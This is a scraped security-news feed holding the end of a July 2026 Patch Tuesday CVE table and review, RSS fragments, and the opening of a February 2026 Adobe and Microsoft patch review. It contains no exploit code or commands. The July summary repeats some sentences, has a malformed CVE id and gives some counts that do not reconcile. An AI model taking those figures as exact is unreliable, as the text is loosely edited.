CVE-2026-50341 Windows NTFS Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-58640 Windows NTFS Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-49184 Windows NTFS Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-49797 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50308 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50386 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50309 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50313 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50388 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50448 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50471 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50461 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50417 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50482 Windows NTFS Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-50494 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50344 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50686 Windows OLE Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-50335 Windows Operating Systems Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50317 Windows Operating Systems Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54987 Windows Overlay Filter Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50435 Windows Overlay Filter Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50409 Windows Overlay Filter Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40400 Windows PowerShell Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-49166 Windows Print Configuration Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55004 Windows Print Configuration Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50499 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50383 Windows Print Spooler Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-57085 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50469 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50434 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50339 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50430 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50334 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-44800 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50363 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50431 Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50372 Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50666 Windows Remote Access Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56647 Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50330 Windows Remote Desktop Client Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50376 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50504 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58533 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58535 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58546 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58539 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-55003 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-57979 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50445 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50497 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54126 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-57982 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50369 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58626 Windows Remote Desktop Services Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-55014 Windows Remote Help Defense Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50318 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50407 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50357 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50441 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50668 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-54109 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49792 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49793 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50362 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50492 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-50501 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58530 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49791 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-50451 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-57096 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50323 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50452 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50348 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50345 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50322 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50340 Windows Runtime Elevation of Privilege Vulnerability Important 8.5 No No EoP
CVE-2026-50410 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50449 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50460 Windows Runtime Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-50403 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50385 Windows Runtime Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50413 Windows Runtime Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50457 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50486 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50503 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-54125 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58527 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50373 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50679 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-44806 Windows Secure Channel Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2026-50681 Windows Secure Channel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56186 Windows Secure Channel Information Disclosure Vulnerability Important 8.1 No No Info
CVE-2026-50367 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58619 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50311 Windows Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50328 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-58531 Windows SMB Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-54997 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-49801 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50690 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56168 Windows SMB Server Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50360 Windows SMB Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-57089 Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-50333 Windows Spaceport.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50298 Windows Spaceport.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49171 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-49170 Windows StateRepository API Server file Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58526 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50299 Windows Storage Spaces Direct Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-57968 Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-57973 Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability Important 6.3 No No Tampering
CVE-2026-50418 Windows System Secure Feature Bypass Vulnerability Important 5.1 No No SFB
CVE-2026-50306 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50307 Windows TCP/IP Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49177 Windows TCP/IP Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50669 Windows Telephony Server Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-54124 Windows Terminal Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50350 Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50326 Windows Unified Consent System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49790 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-50498 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58547 Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-49794 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 4.6 No No Info
CVE-2026-50453 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-58528 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 6.8 No No Info
CVE-2026-50321 Windows USB Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50479 Windows USB Hub Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55000 Windows USB Print Driver Elevation of Privilege Vulnerability Important 6.4 No No EoP
CVE-2026-54991 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54996 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49802 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49806 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50674 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49804 Windows USB Video Driver Elevation of Privilege Vulnerability Important 6.6 No No EoP
CVE-2026-50454 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49176 Windows WalletService Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49800 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50480 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56173 Windows WebView Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58632 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54107 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-54986 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54112 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54114 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50670 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50688 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50687 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56176 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58628 Windows Wireless Network Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50295 Windows Zero Trust DNS Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-50509 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55945 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 4.2 No No Info
CVE-2026-45488 Microsoft Edge (Chromium-based) Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-45489 Microsoft Edge (Chromium-based) Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-55145 Outlook Copilot Tampering Vulnerability Moderate 6.3 No No Tampering
CVE-2026-56181 Windows Network Address Translation (NAT) Spoofing Vulnerability Moderate 8.3 No No Spoofing
CVE-2026-58597 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

 

 

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

 

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Google Released Gemini 3.5 Flash Cyber AI, a Specialized AI Model for Vulnerability Hunting]]> https://tsecurity.de/de/3694548/hacking/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/ https://tsecurity.de/de/3694548/hacking/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/ Sat, 25 Jul 2026 19:02:40 +0200 đŸ•”ïž Hacking tsecurity.de <![CDATA[Why Risk Should Determine Your AI Architecture]]> https://tsecurity.de/de/3694533/it-security-video/why-risk-should-determine-your-ai-architecture/ https://tsecurity.de/de/3694533/it-security-video/why-risk-should-determine-your-ai-architecture/ Sat, 25 Jul 2026 19:02:23 +0200 đŸŽ„ IT Security Video tsecurity.de YouTube Video

]]> <![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says new research]]> https://tsecurity.de/de/3694506/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-new-research/ https://tsecurity.de/de/3694506/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-new-research/ Sat, 25 Jul 2026 19:01:14 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[The February 2026 Security Update Review]]> https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

-    CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

-    CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

-    CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

-    CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

-    CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

-    CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited TYPE
CVE-2026-21514 Microsoft Word Security Feature Bypass Vulnerability Important 7.8 Yes Yes SFB
CVE-2026-21510 Windows Shell Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21513 Internet Explorer Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21519 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21533 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21525 Windows Remote Access Connection Manager Denial of Service Vulnerability Moderate 6.2 No Yes DoS
CVE-2026-21511 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2023-2804 * Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo Important 6.5 Yes No RCE
CVE-2026-24302 Azure Arc Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-24300 Azure Front Door Elevation of Privilege Vulnerability Critical 9.8 No No EoP
CVE-2026-21532 Azure Function Information Disclosure Vulnerability Critical 8.2 No No Info
CVE-2026-21522 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-23655 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21218 .NET and Visual Studio Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21512 Azure DevOps Server Cross-Site Scripting Vulnerability Important 6.5 No No XSS
CVE-2026-21529 † Azure HDInsight Spoofing Vulnerability Important 5.7 No No Spoofing
CVE-2026-21528 Azure IoT Explorer Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-21228 Azure Local Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-21531 Azure SDK for Python Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-21251 Cluster Client Failover (CCF) Elevation of Privilege Vulnerability Important 7.8 No No EoP
